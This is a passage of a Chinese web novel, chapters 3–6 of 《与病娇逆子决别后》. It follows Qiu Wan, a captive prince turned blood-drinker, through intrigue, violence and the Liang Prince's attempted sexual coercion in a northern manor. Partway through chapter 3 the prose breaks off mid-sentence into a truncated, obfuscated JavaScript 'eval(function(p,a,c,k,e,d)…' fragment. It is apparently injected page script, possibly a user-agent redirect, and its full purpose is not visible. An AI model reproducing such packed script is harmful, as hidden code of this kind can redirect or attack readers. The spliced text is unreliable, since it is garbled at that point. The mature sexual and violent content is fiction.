《与病娇逆子决别后》 3.环伺 凉王不仅要娶邱朝太子,而且要明媒正娶,娶得天下皆知。 这是一场战胜国对战败国的公开羞辱。 堂堂邱朝太子沦为凉王身下的承欢人,这可太他妈让人兴奋了。 凉王前脚刚入府,出使临安的使臣、国书、聘书、礼单以及休战协议的初案就已经整整齐齐摆在议事厅。 凉王又着人送来一副银光铠,破破烂烂的,染着血,说是从邱太子身上扒下来的,南邱人一见便知。 议事厅灯火通明,众幕僚唾沫子横飞,唇枪舌剑。 邱晚猫在庭中那株高大的雪松树上,注视着厅中动静。 “辞兮辞兮,南邱辞兮……这名字不祥啊,哪位高人给你取的字?” 衣带忽的被人一扯,邱晚差点跌下树去,回头一看,一位白发若雪的男子横卧于雾凇雪枝间,飘飘乎不似世间人,正笑盈盈望着他。 邱晚稳了稳身形,道:“我自己取的。” “好名字!”那人当即改了口,说完又自己笑了。 邱晚道:“还未请教阁下尊姓大名。” “我嘛,”那人舒展了一下大长腿,慢悠悠笑道,“岁去千山远,尘消万古孤,我叫……顾千尘。” 邱晚“哦”了一声,没再理他。 见邱晚又不作声了,那人折下一根松枝,挨过来,遥遥指着议事厅那些攒动的人头,随即停在一颗人头上。 “你看那位,面有油光,紫膛色,眼下乌青,好酒色,好房中术,这样的人,身上脏,血不干净,不可以,你不要碰。” 邱晚皱了皱眉:“此人方才提议,叫南邱让出江州、南豫州、建康三城,连接已由北雍控制的荆州,南邱将彻底失去整个大江天堑。” “果然吃人不吐骨头,贪欲重!”顾千尘点评道,他顺势握住邱晚的手,带着他指向另一颗人头。 “再瞧这一位,长得人模狗样,风度翩翩,但你看他,宽衣博带,不鞋而屐,夸夸其谈,一看就是常服寒食散之人,这样的人,血液里有毒,也不可以,你不要碰。” 邱晚察觉到身后越贴越近的人,轻咳一声:“这人方才说要南邱以附属国身份向北雍俯首称臣,交纳岁贡。” 顾千尘当即斥道:“可恶,欺人太甚!” 议事厅又传来争执声,邱晚目光扫过厅内如坐针毡的崔自青,还有大拍桌子的凉王,随即指向另一位身着红袍、面敷白粉的年轻男子。 “那此人呢,可不可以?”邱晚语带杀气,“此人方才说南邱太子乃战俘,形同罪奴,不可为妻。” “这个人嘛……”顾千尘勾唇一笑,“我可以,你不可以。” “为何?”邱晚回头望他。 “此人是凉王的心腹兼大管家,身份卑贱,靠色相上位,配不上你。” 邱晚压下眼中愠色,他知道这人在有心宽慰他,拳头却仍旧捏得紧紧的。 “辞兮。”顾千尘握住邱晚的手,“你如今完全可以一走了之,不与这些蝼蚁之辈纠缠,为了这些稍纵即逝的东西斗来斗去,无聊至极。”见邱晚还是面有不虞,他又道,“你是不是看那个小白脸不顺眼,我这就去杀了他。” “杀了他又有何用,杀了他,还会有更多人跳出来欺辱南邱。”邱晚别过身,跳下雪松,“是南邱太弱了!” “南邱积患多年,国库空虚,百姓贫苦,父皇崇文抑武,亲佞远贤,满朝皆是引颈空谈之人,有德者缄口,有能者退隐,武官被轻视,军队一缩再缩,除了一个韩松之,南邱已无人敢应战北雍!” 过去,邱晚从未管过这些,一切有皇兄璟顶着。 璟总是说,为君者是这世上最苦的人,希望我们阿晚永远不必为这些事烦扰,就做一个自由自在的人。 而如今,他被钉在这耻辱柱上,成了北雍要挟南邱的筹码。 邱晚做不到抽身离去。 “南邱外侵内斗,民生衰,国力衰,国弱君愚,离国破不远了,历史所然,辞兮,你改变不了。”顾千尘站在风中,循循善诱说道。 “弱小,就是原罪吗?”邱晚悲愤道,“弱小就该招恶贼觊觎,就该被屠杀,就该被当作牲口宰吗!” 邱晚眼中浮出血光。他仿若又看到了建康城破那一刻,城内百姓惊恐的眼神,邱晚护不住他们,即便战至最后一兵一卒,邱晚也护不住他们,心仿若被千军万马踏破,被烈火炙烤,五脏俱焚。他忽而瞅见,那昏暗的曲廊上,一位白净小仆提着一盏红纱宫灯,正独自走着。 弱小,无辜,鲜美。 多么完美的猎物! 好渴。 心都快被烧穿了。 强烈的猎食本能冲上来,他如一只饥渴的饿兽扑了上去。 顾千尘赶到时,邱晚正搂着那名小仆“浅斟低酌”。 小仆瘫软在松软的雪窝里,像只乖顺的猫咪,手脚踢蹬着,嘴里“爹爹亲娘观世音娘娘”胡乱叫唤着。 “你可真是……天赋禀异……”顾千尘俯身靠近。 邱晚立即弹开,眼底红光毕露。 “你这一咬就让人兴奋的天赋,不知该祸害多少人。”顾千尘扫了一眼雪地里那个被遗弃的猎物,蜷曲着身体的小可怜,微颤着,似乎仍旧沉迷于邱晚给他带来的情.欲幻象中。 颈侧的咬痕小而细,可以看出咬他的人已是极力克制。 “记住,以后挑配得上你的。”顾千尘抬手抹去邱晚唇上沾着的血迹。 邱晚后退一步,试图让自己冷静:“我会尽快建立自己的猎食规则。” “不,混乱,饥渴,失控,才是新生不死人该有的状态。”顾千尘捻着指尖那点血渍,笑着看他,“你过于善良,也过于克制了,辞兮。” “请不要这么称呼我。”邱晚又退一步。 “你想让我如何称呼你?”顾千尘只是望着他笑。 那双黑曜石般的眼,仿若深渊与星夜交合的产物,能望穿万古岁月,直击人灵魂深处。 “抱歉,我……” “抱歉什么?”顾千尘凝着他,他忽而瞬移到了邱晚身后,揽住邱晚的双肩,只手捧住邱晚的脸,宽大的掌心覆在邱晚的唇上、鼻尖,玉骨般的手指压在邱晚颤动的眼睫上。 邱晚心如擂鼓。 “辞兮辞兮,你该试着与原来的世界道别了。” “换个身份看这世间,你会释然许多。你是超脱于生死轮回之外的不死人,是我挑了千百年挑出来的宝贝,不再是南邱任人宰割的太子。” “你我既已达成交易,以后便是要长长久久在一起的,你是我亲自挑的伴侣,记得吗?” 透过那指缝,邱晚仿若看到自己失控的命运。 “从今往后……”顾千尘耳语道,“你我一起游戏人间,不好吗?” 邱晚身体绷得笔直,就连耳后的细茸毛都竖了起来。 顾千尘又笑了:“别紧张。来日方长,我知道这很难,我给你时间,待你了结这些生前身后事,我再带你走,我信守承诺。”他沉醉般嗅着邱晚的颈,“好香。” 他环住邱晚的颈,一个金灿灿的东西便套在了邱晚脖子上。 “尺寸刚刚好。”顾千尘道。 “你给我戴了什么?”邱晚道。 “一个颈圈。”那人低笑,“以防你跑了。” “我……”邱晚话还未出口,便觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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管它嫁不嫁、娶不娶、人不人、鬼不鬼的,他如今一想到这个人就浑身兴奋得直颤,他有过不少女人男人,可还未得手就让他如此销魂的仅此一人。 凉王觉得自己是老来春,捡着宝了。 走到香雪坞却没见着人,负责看管的人倒是在门口睡得香甜。 凉王大怒,下令全府搜捕。 忽而有人来报:“禀王爷,有人看到邱……邱公子往世子的梅苑里去了。” “坏了!”随行的崔自青大呼一声,拔腿便跑。 梅苑,乃世子萧寂的秘密禁地,若非他本人允许,连狗都不敢擅入。 邱晚在雪地里不知躺了多久,迷迷糊糊间,他感觉到有人摸了摸他的脸。 那人袖间藏着梅香,指尖温凉。 “你醒了?” 邱晚幽幽睁开眼,下雪了,梅花雪花簌簌而落,红的梅,白的雪,落了他满肩满身。 漫天飞花中,一个坐着轮椅的少年挡住了天空那点微光。 夜色下看不清少年的脸,只觉得那双眼特别亮。他怀里抱着一大束怒放的红梅,冰晶裹着娇红,遮挡住了小半张脸。 邱晚试图支撑着坐起,却发觉自己手上脚上均被什么东西给钳制住了。 而那个少年,正歪着头,一眨不眨盯着自己。 邱晚心一颤:“你是谁?” 少年慢悠悠从怀中梅枝上,摘下一朵红梅,塞进嘴里。 细细嚼着。 似品着这冬日里最漫浪的一抹艳色。 “你又是谁?” 4.折竹 夜雪大作。 那少年瞧着约摸十六七,身形清瘦,一身阴郁之气,如此寒冬腊月,他却未穿御寒的皮毛大氅,想来并未被照顾得很好。 他的肩很宽,很薄,一身名贵的墨云浮光锦,白领墨衣,玉扣金带,圆领袍上金丝银线儿绣着雪竹仙鹤,那仙鹤独脚而立,垂颈理羽,似有郁郁之态。 他的腿很瘦,很长,弯曲在轮椅上,像折断的竹,浮光锦就沿着那折断处如夜色流淌下来。 邱晚自幼跟随师父走遍名山大川,见过形形色色的人,却仍惊诧于这世上竟然有这样阴郁、矜贵却又如此残缺之人。 一身矜贵却又不良于行,在这凉王府没有第二个人了。 邱晚猜出了他是谁,只是没想到凉王府世子萧寂会是这样一位阴郁古怪的少年。 “你抓我作甚?”邱晚问他。 少年吃花的动作一顿,他竖起食指,抵在唇前,做出一个噤声的动作。 他没有说话,而是仰起头,看向飘雪的夜空。 邱晚跟随他的目光看过去,除了雪花,什么也没有。 忽而,一把半人高的长刀从天而降,“铛”的一声,扎入雪地! 刀身嗡嗡直晃,刀刃还带着热气腾腾的血。 邱晚瞳孔骤缩。 猎食的本能骤然被激起,邱晚全身汗毛立起,此刻的他刚被顾千尘吸了个半空,正处于极度虚弱、极度饥渴、随时会失控的危险时刻。 紧接着,一截断臂从天而降,继而又是几条残手残脚,几滴血还溅到了邱晚脸上,最后,几团鲜血淋淋的人像被扔垃圾一样从夜空里扔了出来! 同时落地的,还有一个身着玄衣劲装的冷峻青年,那青年稳稳落在萧寂身侧,脚下无声,手上还拎着一盏与他形象完全不符的梅枝雪兔灯笼。 他朝萧寂躬身道:“主子,跑了一个。” “跑了?”萧寂蹙起眉,似有失望。 “跑掉的那个与这些刺客不是一个路数,那人身手奇诡,高深莫测,绝非常人,一刀不是他对手。”青年补充道。 “北雍什么时候来了这样的高手,”萧寂咕哝道,“真是有意思。” 那位名唤“一刀”的护卫挠了挠头,又看向邱晚:“主子,那这一位?” 萧寂斜眼睨他,使眼神叫他滚,一刀一个激灵,忙跳起来:“我这就去将这些刺客处理掉。” 他走了几步,又退回来,毕恭毕敬将灯递给萧寂:“主子,你的灯。” 萧寂接了,却有点心不在焉,他拨弄着灯笼,雪兔灯笼嗞溜溜的转,萧寂的脸就那样从朦胧的夜色中剥离了出来。 那是一张极具迷惑性的脸,肤白,脸上既有少年的稚气又已显露出男子的英气,尖下巴,高鼻梁,长睫压眼,眼睛尤其漂亮,安静的样子,像极了清晨薄雾下湖边小憩的仙鹤,人一靠近,它就会扇着翅膀飞走了。 而这只折了足的仙鹤,却转动轮椅,主动来到了邱晚身边。他将灯笼放在邱晚身侧,暖黄的灯将两人之间的这片雪夜照得温暖了许多。 “你不是刺客。”萧寂说道。 “你又怎知我不是?”邱晚屏息道。 萧寂不急不忙从袖中掏出一方锦帕:“我就是知道。” 他俯下身,要用帕子擦邱晚的脸。 邱晚下意识别开脸。 “脏了。”他说。漆黑的眸子凝着邱晚,随即自顾自的用帕子拭去邱晚脸上的血迹。 突然的靠近,少年身上鲜美的血气瞬时如浓云笼罩下来,猎食的本能再次被挑衅,若不是邱晚的手脚都被束缚住了,他真不能保证自己会不会直接扑上去饱餐一顿。 萧寂对此全然不知,而是不轻不淡问道:“方才同你一起的那名男子是谁?” “谁?” “就是方才抱了你许久的那位。”他在笑,带着点邪性,眼下一片阴翳,叫人看不透。 邱晚心下一惊,竟然被他看到了吗?所以刚才说的那一位跑掉的指的是顾千尘? 不可能,顾千尘来无影去无踪,寻常人根本发现不了他。 邱晚暗笑自己竟然被一个少年几句话弄得七上八下,他五指嵌入雪中,悄悄抓了一把雪,可他根本感觉不到冷,心中的渴望却一阵一阵的涌。 “你靠近点,我就告诉你。”邱晚说道。 萧寂当真俯身侧耳靠过来,全然没有防备的模样,邱晚盯着那青色的颈动脉,内心天人交战,不行,绝对不行,萧寂此人对于凉王府,甚至对于整个北雍和东乾都是一个极敏感的人物,不能冲动。 他闭了闭眼,问道:“那些人为什么要杀你?” “那些人……”萧寂似乎认真思考了一瞬,“他们只是不希望我活着。” “今儿腊月二八,是我娘亲的忌日,每年这个时候他们总是要来杀一杀我。” 这倒是挺意外,邱晚又问:“凉王府的人不管吗?” “凉王府?”萧寂抿唇一笑,似乎说到了一件很好笑的事,他话题一转,“你还没回答我的问题。” 邱晚挣动了一下被锁链束缚的手脚:“你先放了我,我就告诉你。” “不放。”萧寂拒绝得很干脆。 “为什么,我不是刺客。” “我正在祭奠我娘亲,是你突然闯进来的。”萧寂往邱晚躺的地方指了指,委屈道,“还压坏了我的梅花冢。” 什么梅花冢? 邱晚怀疑他在胡说八道。 萧寂靠近,神秘兮兮道:“你听说过梅花祭吗?” “传闻在腊月二八这一天,用血契和梅花祭奠亡灵,就可以召唤亡灵,复活死去的人,生死逆转,一阳来复……” 萧寂拉起衣袖,给他看自己掌心的伤口,血还未凝固,难怪他身上总是弥散着一种浓郁的血气,原来他在用自己的血祭奠母亲。 邱晚看到了他眼中闪烁的光,有一种让人毛骨悚然的诡异。 “我在召唤……”萧寂朝邱晚恶作剧似的吹了一口气,“我娘亲。” 雪白的热气裹着少年的血气立马涌入邱晚鼻腔,邱晚瞬时变了脸,眼底红光乍起。 那少年却又笑了,不知死活道:“你这样躺在雪地里的样子,很有趣。” 邱晚起了无名怒火,竖子可恶,抬脚便要踹断这可笑的锁链。 “你别乱动……”话音未落,三枚飞刀已从机关中飞出,如寒光流星,直朝邱晚的喉颈飞将过去。 邱晚额角青筋一跳,飞脚去挡,他速度极快,脚上锁链被甩出一条弧线,擦着刀片,呲啦啦火星乱蹦,刀片齐唰唰弹射到了一株梅树上,而邱晚脚上的锁链也“嘣”的一声,断裂了。 可邱晚还未来得及高兴,失去脚链捆束的身体,霎时被捆着双手的锁链往上一拉,直接将他整个人吊了起来。 竟然还有机关,妈的。 “说了叫你别乱动。”少年仰头看着被吊起来的人,摆出遗憾的神情。 “放我下来!”邱晚踢着双腿,怒火中烧。 萧寂却一脸怡然自得,笑得人畜无害:“你这个模样更有趣了。” 邱晚快气晕了。 此时在邱晚眼里,哪里还有什么阴郁美少年,此人就是一个彻彻底底的浑小子。 若不是顾千尘害得他虚弱不堪,邱晚何至于奈何不了 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邱晚不知自己是不是听错了,崔自青拢住他的时候,似乎极低地唤了一声“小晚”。 崔自青的手在抖,心口也在抖,靠近邱晚让他血脉偾张,他大声斥责道:“萧寂,你别太过分了!此人的性命关乎两国的命运,岂容你这样胡闹!” 萧寂瞅着崔自青那紧张的模样,眯起了眼:“还轮不到你来教训我。” “那轮不轮得到本王教训你!”凉王怒气冲冲走进来,崔自青立即松开了邱晚,退到了一侧。 凉王扫了一眼萧寂,又看向雪地里的血迹,以及虚弱不堪的邱晚,再联想到萧寂过去那些疯狂的行径,他已是勃然大怒。 “你是要将本王看上的人都杀光吗?逆子!”凉王一把拔出崔自青腰间的刀,架到萧寂脖子上。 萧寂脸色苍白,他忽而笑了:“今儿是我娘的忌日,我的生辰,你却拿刀指着我。” 雪夜中的萧寂在此刻显得特别单薄,他徒手推开把冰冷的刀,眼里没有丝毫对父权的畏惧:“你不配做我父亲。” 凉王气得握刀的手直颤,却没有真的对萧寂怎样,他长臂一振,那刀便断成两截掷在了雪地里,他转身抱住邱晚,眼里甚至有了些温柔:“你没受伤吧?” 邱晚置身于此情此境,本该庆幸这对父子关系如此恶劣,可看到萧寂那孤零零的模样,却没生出多少喜意来。他说了一句:“世子并未伤我。” “此子是个疯子,你莫理他。”凉王拉开邱晚的衣袖,查看他发红的手腕,“本王传大夫给你看看。” “不必了。”邱晚要收回手,凉王却将他抓得紧紧的,低声道,“本王是真心想待你好。” 他脱下披风将邱晚包裹住,朝着这大大小小凉王府的人说道:“都听好了,不论这次北雍与南邱谈判结果如何,邱公子都是本王的人,谁敢在背后对他玩阴招,本王定不轻饶!” 不远处垂手而立的红衣青年,凉王府的内官兼大管家燕绥,听闻抬起了头。 崔自青则别开脸,握着拳,不知在想什么。 “我抱你回房。”凉王不由分说将邱晚一把横抱起,他高大魁梧,抱着邱晚不费吹灰之力,他又扫了萧寂一眼,没再多言,大步出了园。 雪还在下,邱晚往身后看去,人流如潮水般退去,萧寂一个人仍停留在原地,他坐在轮椅里,弯下腰,将怀中那一大束红梅枝,放在了邱晚躺过的雪地里。 夜深知雪重,园子深处,传来细细碎碎竹子折断的声响。 5.反扑 凉王一脚踹开香雪坞的房门,玉帘珠子迸溅了一地。 “都退下!” 众人无声退去,门被合上。 凉王掀开裹着邱晚的披风,那人像只饥渴的猫咪,已伏在他颈间畅饮。 凉王差点没站住,他身长九尺,魁梧奇伟,此刻却像只软脚虾一样一屁股瘫坐在榻上。 “小晚……”凉王的气息变得很重,他掌着邱晚的后颈,想要将他剥离开,“等、等一等,本王有话要说……” 邱晚吸食得更深了。 邱晚不喜欢猎物话多,最好安安静静呆着,不要打扰他进食。 凉王是他转换成不死人后的第一个猎物,新生不死人的毒液格外生猛,越是重欲之人越是招架不住,凉王年近不惑,正值盛年,吸食他的血,就仿若将北雍的最强战力汩汩吸入体内。 邱晚在他身上已驾轻就熟,虽然此人不符合邱晚的口味,但不可否认,作为猎物,他很完美。 “小晚……”凉王三魂六魄已飞了两魂五魄,他胡乱揉着邱晚,歪倒于衾被间。 邱晚心生嫌恶,跃上了他的背,掰住他的脖子,咬得更狠了。 奔涌的鲜血迅速被吸走,凉王立即嗅到了危险,多年刀口舔血的敏锐叫他瞬时做出反应,他下意识锁住邱晚的肩,过肩狠狠一摔,便将邱晚摔在了床上。 进食被打断,邱晚有些暴躁,他起身正要发作,层层床幔哗啦啦掉下来,将邱晚裹了进去,凉王趁机抵住他的腹,锁住他的咽喉,将他再次“咚”的一下压回了床上。 重如大山的身躯压下来,紧接着,“吧嗒”一声,一道锁扣住了邱晚的脖子。 邱晚暴躁地扭动脖子,像只发怒的猫儿,呲了呲牙。 “没弄疼你吧?”凉王喘着气,声音仍颤得厉害,他从凌乱的床幔中剥出邱晚的脸,双手兴奋得直抖,这么危险又暴躁的一个美人,终于让他给逮着了。 凉王摸了摸自己脖颈上的咬痕,指尖沾到了些许血,他知道邱晚一直在吸他的血,如此嗜血之人,本该一杀了之,可凉王偏偏上了瘾,欲罢不能。 他向来自负,生来便喜欢驯伏一切烈性又美丽的东西,这位邱太子正正勾起了他的征服欲。他颤抖着将指尖上的血抹在了邱晚唇上:“就这么喜欢这个?” 邱晚恼怒地挣扎着。 “你太危险了。”凉王捏住邱晚的脸,“这世上怎会有你这么妖孽的小东西,除了本王,还有谁能遭得住你?” 这让邱晚极度不适,他几乎想要一口咬断那触摸他的手指。 望着邱晚失控的模样,凉王笑了,一月余了,他终于扳回一局,拿回了掌控权。 “小晚,你莫要怪本王,此番向南邱求娶你,一半是国事,更有一半是本王的私心。方才在议事厅,他们都在争论如何利用你掣肘南邱,本王心里想的却全是你,一想到你,我就……” 凉王颤抖着挨近:“小晚,本王已经许久未如此心动过了,你就是我的圣子,我的心肝,我的观音菩萨……” 邱晚不可思议瞪向他,这人在说什么鬼话! “邱文帝同意将你嫁我最好,若不同意,本王也要定你了,南邱你是回不去了,往后就安安心心呆在本王身边,伺候本王,明白吗……荣华富贵,身份地位,你想要什么本王都可以给你,若你思念南邱,本王便将临安城也打下来,给你做行宫,好吗?” 邱晚耳中嗡嗡作响,他又羞又怒,低吼道:“我不是女子!” “你当然不是女子,本王喜欢的正是你,你的男儿之身。”凉王瞧着邱晚一脸懵懂的模样,便知他从未涉此道,他狂喜不已,如此霞姿月韵、纯洁无瑕的一个人,今日起便要完完全全属于他了。 凉王掌住邱晚的腰,满是老茧的大掌滚烫灼人,轻软的衣料,都快透了。那纤薄细软的腰,仿若一折就能断,天生便是男人身下的风流种。 “小晚,你简直天赋禀异。”凉王赞叹不已,“别怕,本王会待你好的,本王今晚便叫你尝尝什么叫人间极乐……” 邱晚依然不敢置信。 邱晚虽从小听闻邱朝士族间南风盛行,但男子与男子之间是如何相处的他并不懂,他自幼在男人堆里就倍受宠爱,也并未觉得有何不妥,他被师父和皇兄保护得太好了。 成为不死人之后,邱晚发现自己可以让人兴奋、让人上瘾,但在他眼中,这些人不过是他的食物,他的备用血袋。 军营里传的那些荤话,什么卖屁股、做嬖人之类的,他也并不往心里去,因为他知道自己是怎么回事。 至于凉王求娶邱国太子,在他眼中完完全全是一场政治羞辱。 而眼下凉王这番话,简直如睛天霹雳。 邱晚受到了巨大的冲击,他终于意识到一个现实,凉王要睡他! 他还未曾与女子亲近过,尚不知情爱为何物,这个丧心病狂的凉王却压在他身上,要他男行女事,要睡他? 邱晚先是震惊,而后有点懵,最后怒火中烧。 “还有一事你尚且不知吧,建康城沦陷的第七日,临安的南邱朝廷便宣告太子暄已战死,你的父皇和你守护的南邱已经抛弃你了,你成了无国无家之人,你已无路可走。” 邱晚怔住了。 不可能! “往后,本王便是你唯一的依靠。”凉王满眼胜券在握。 不可能。 邱晚不相信。 这个混蛋在胡说。 “别难过,小晚,本王疼你。”凉王见他只是怔怔的,并不反抗,心内已按捺不住,他抱定邱晚便要亲下来,“本王拿真心疼你……” 邱晚脑中空白了一瞬,这些日子,他游走于理智与失控的边缘,进一步是扑食的狼,退一步就是任人宰割的羊,今日种种,桩桩件件皆出乎他所料,邱晚置身其中,群狼环伺,没有退路,唯有杀出重围。 他看死人一样看着凉王,此人毁我家国,杀我子民,掠我入深渊,如今却还要说这些鬼话羞辱于我。 何其可笑。 邱晚望着那张近在咫尺的脸,压着心底的恶心:“王爷就不怕我咬你?” 凉王顿住,他确实有些怕。 他不仅怕邱晚咬,还怕他趁亲热之际咬断他的舌,吸干他的血。 可色心壮人胆,他凉王想要的人,就没有得不到的。 “入了我凉王府,这一关迟早要过,你得认命。”他摸入邱晚交叠的衣领中,“等你尝到此中乐趣,非求着本王不可……” 他越说越入巷,忽而全身剧烈一颤,仿若被什么东西电了一下。 那电击感带着灼烧,撕皮灼骨。 凉王不信邪,又要来碰邱晚,这一次更明显了,他被电到直接弹飞。 他脸都黑了,盯向邱晚颈间那个金灿灿的、蛟龙缠绕的颈圈,问道:“这是什么?” 邱晚耳边似乎又响起了顾千尘的声音,“记住,这里是属于我的,不许他人碰。” 邱晚自嘲般笑了,他紧攥着拳,只觉人生荒谬。凉王又急又惊的样子愚蠢又可笑,顾千尘有一点说得没错,一群鼠辈之徒,握着手里那些稍纵即逝的权势就以为自己是天了。 谁是天? 谁又是猎物? 昏黄的烛光下,邱晚露出一种带有杀意的美。 凉王有些怵了。 可邱晚身上仿若有千丝万缕的线拉拽着他,拉拽着他扑上去,身体里的瘾再次被勾起,像成千上万的蚁在啃食,难受得想打滚。 “你……”凉王受不了了,想碰邱晚又不敢,直吼道,“你究竟是什么妖孽?” “难受吗?”邱晚如魅惑的艳鬼,双眼浮着红,能勾魂,“难受就过来,我让你快乐……” 房中烛火齐齐一晃。 挣脱枷锁的人将猎物扑倒于黑暗中。 低吟与挣扎中,轰然一声,床板塌了。 守在门外的人几乎都吓了一跳,但凉王没唤人,就没人敢闯入。 邱晚几乎是下了死意要杀他。 可这样杀他并不明智,凉王得杀,但不是由邱晚来杀。 邱晚要借雍宫里那把刀,宰了这头贪婪的狼,将多年来北雍压制南邱的根基,彻底摧毁。 这一夜,凉王宿在了香雪坞,凉王府有三人都未睡好。 大雪足足落了一夜,香雪坞院子里种了一大片湘妃竹,雪一下,便如层层雪浪,迎风招摇。 崔自青提着一壶烈酒,坐在屋顶上喝闷酒,他喝得高了,远远望着香雪坞那纱窗上明明灭灭的烛影,似乎能穿透窗,看到屋内颠鸾倒凤的二人。 他怒火攻心,将酒壶“哐啷”给砸了,骂道:“贱骨头!” “呦。”大管家燕绥一身红衣,踱着方步出来,仰头问道,“崔爷这是生的哪门子气?” 崔自青恶狠狠看了他一眼,显然未将他放在眼里。 “方才去梅苑,崔爷跑得比谁都快,崔爷对香雪坞那位……是不是过于上心了?”燕绥别有意味道。< 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“主子,找到了!”房门被“咣当”推开,风雪裹着一个青年冲进来。 那青年原地一跳:“吉空大师!您什么时候来了!” 吉空雪白长眼微微一眯:“贫僧该来时便来,该走时便走了。” “弯弯绕绕,尽不说人话。”一刀一个箭步冲到萧寂面前,“主子,你让找的东西。” 萧寂接过来,是一根松枝,枝上还缠着缕青丝,像是不小心从某人头上拽拉下来的。他转动轮椅来到窗边,将木窗一推,满园的雪景便映入眼帘。 这阁楼名为“归真阁”,正位于凉王府最高处的松影坡上,是萧寂最常呆的地方,于这木阁望出去,整个凉王府尽收眼底。 萧寂捏着松枝,若有所思。 “大师,今日这局棋,我输了。”萧寂道。 “那倒未见得。”吉空笑道,“长夜漫漫,棋才开局,未到终局,焉知输赢。” 见眼前少年较之前更显阴郁之态,吉空又问:“上回给世子的药,都按时吃了没?” “按时吃了,我监督的。”一刀抢答道。 吉空点点头:“再过两日便是新年,世子这郁症能否控制好,这一年尤为紧要,切不可大意。” “是。”一刀点头如捣蒜。 萧寂无事人一样,望向窗外那白绒绒的松影坡,大雪将它包裹得像颗巨大的、松软的白蘑菇,那雪坡上,似乎团着一个小小的白色身影,像只可怜的小动物。 萧寂回头看向吉空。 “去瞧瞧吧。” 萧寂推着轮椅便去了,轮椅在积雪中压出两道长痕,沿着长长的松影坡向那团白影靠近。 夜深了,轮椅发出吱吱呀呀的声响,萧寂莫名有些紧张,担心那小东西会不会受惊跑掉。 倏地,那白色身影转过头来。 是一张比雪还白的脸,嘴上沾着艳红的血。 “你、你怎会在此?”萧寂很是意外。 邱晚双手抱着膝,身上只着一件凌乱的单衣,警惕地看着靠近的少年。 “你别过来。”声音里满是戒备,还有毫无生气的荒凉。 萧寂盯向他嘴角的血:“你受伤了?” 邱晚用手背将嘴角的血一抹,那血迹被拖得更长了,从嘴角一直蔓延到雪白的脸颊。 “凉王欺负你了?”萧寂一时也有些无措,眼前这人看起来不太好,他将之前那些戏弄之心都收了起来,“你冷吗?”萧寂拿起盖在腿上的绒毯,递向邱晚,“给你。” 邱晚没有接。 “你父亲是个混蛋。”他说道。 “是。” “你也好不到哪去。” “是……” 邱晚眼中雾蒙蒙的,声音很轻:“我父皇抛弃了我,他也是个混蛋。” “……是。” “我也不是什么好人。”邱晚眼中是望不到底的厌弃,“你最好离我远一点。” “你……”萧寂还要说话,那人纵身一跃,跳下了松影坡。 萧寂忙追上去,可那道白色身影已消失得无影无踪。 风雪刮过松影坡,吹起一阵雪雾,萧寂的心砰砰直跳,他抬头望向邱晚方才望去的方向。 那是南边。 是他回不去的故乡。 6.赐衣 翌日凌晨。 寅时刚过,宫里便来了旨意,宣凉王及邱太子一同入宫觐见。 凉王晨起时便觉两股战战,身乏体虚,他活了近四十年,从未如此虚过。 燕绥伺候他更衣时,扶了扶他的腰。 “王爷?”是关心询问的语气。 凉王正火没处撒:“作甚?” “新人虽好,也请王爷保重身体。”燕绥垂眸道。 凉王顿时涌出一股无名欲.火,他将燕绥一把拎起,摁在桌案上:“几日没挨操,想了是吧!” 燕绥红了眼,扭过头,水汪汪的十分可怜:“王爷,奴这条命是您给的,您就是奴的天,做牛做马奴都愿意。” 凉王掐着那微颤的身体,忽而觉得没了意思。 太听话了,没意思。 他甩开燕绥,气冲冲出了门。 天蒙蒙亮,王府门口红灯高悬,崔自青已备好两辆马车,第一辆非常气派,为六骢玉辇,荫朱红华盖,“天子驾六”乃古制,而在北雍,凉王早已明晃晃的逾制。 凉王出来时,瞧见邱晚正迤迤然走向第二辆马车。 那人已没了昨晚的狠劲,脸上淡淡的。 凉王火更大了,他虚得迈不开腿,那人却看起来容光焕发,神采奕奕,仿若吃了什么灵丹妙药。凉王昨晚不知何时厥过去了,醒来时已回到自己房中,浑身酸痛,前事尽失。但他确信自己并未得手,体虚和连续的挫败让他更为恼怒。 他咬牙切齿盯着邱晚,恨不能将这人生吞活剥了。 邱晚没什么表情,亦无悲喜可言,昨晚的失控在天亮前已被他消化完,他孤身无援,独自在这漩涡中,必须镇定,必须平静,必须铁石心肠。 小侍正要扶邱晚上车,忽被一只大掌给拍了下去,邱晚的手腕被人狠狠一拽,整个人就被拽飞着走向第一辆马车。 凉王下巴绷得紧紧的,神色凛然。 玉饰车门被一脚踢开,朱红帷幔仍在颤,凉王将邱晚扔在马车里。 “跪下!”凉王喝道。 他瞧着邱晚的脸,越瞧越生气,操起手边的茶壶摔在车里,喝道:“就跪在这!” 邱晚扫了眼那一地的碎渣,平静道:“我是南邱太子,你不过是北雍王爷,你可以抓我,关我,但我不会跪你。” 凉王冷笑:“我不过是……北雍王爷?” “不然,你以为你是皇帝吗?”邱晚直直盯着他,故意激他。 凉王嘴角抽搐着,随后狞笑起来:“所以,邱太子的屁股只有皇帝才能操?” 邱晚脸色煞白,他不想受这些污言秽语,推开他便要冲下车。 凉王将他拦腰抱住,拖回来,邱晚拿拳脚踢他,凉王箍住了他的手,将他直往怀里搂,凉王也不知自己这是怎么了,明明一早起来像个被吸干了精血的废人,这会子抱着邱晚却跟吃了药一般,浑身都兴奋。 “乖,别闹。”凉王用大掌捂住邱晚的口鼻。 邱晚挣扎着甩开,凉王又来捂,邱晚一口咬在他虎口。 凉王一哆嗦,尖齿刺入皮肉的刹那,他颤得全身都麻了,有那么一瞬,他产生了一个预感,完了,他想,总有一天要死在这人手里。 邱晚紧咬着牙,直愣愣盯着虎口那处渗出来的血,惊觉自己像一头被欲望吞噬、没有意志的野兽。 “义父。”崔自青的声音在窗外响起,“可以出发了吗?” 凉王哑着嗓子,艰难道:“出发。” 两人未再有动静,崔自青又在窗外停了一会,这才去往队伍最前端。 “小晚,不闹了。”凉王用另一只手捂住邱晚的双眼,不叫他看那些血,他扳过邱晚的脸,将他摁进自己怀里。 邱晚在昏暗的掌心中睁大眼,心仿若坠入无尽深渊,那深渊里有一双恶魔之眼凝视着他,试图吞没他。他心生恐惧,如若他不能学会控制欲望,他生而为人的尊严、他的傲气、他的抱负,都将是一场笑话。 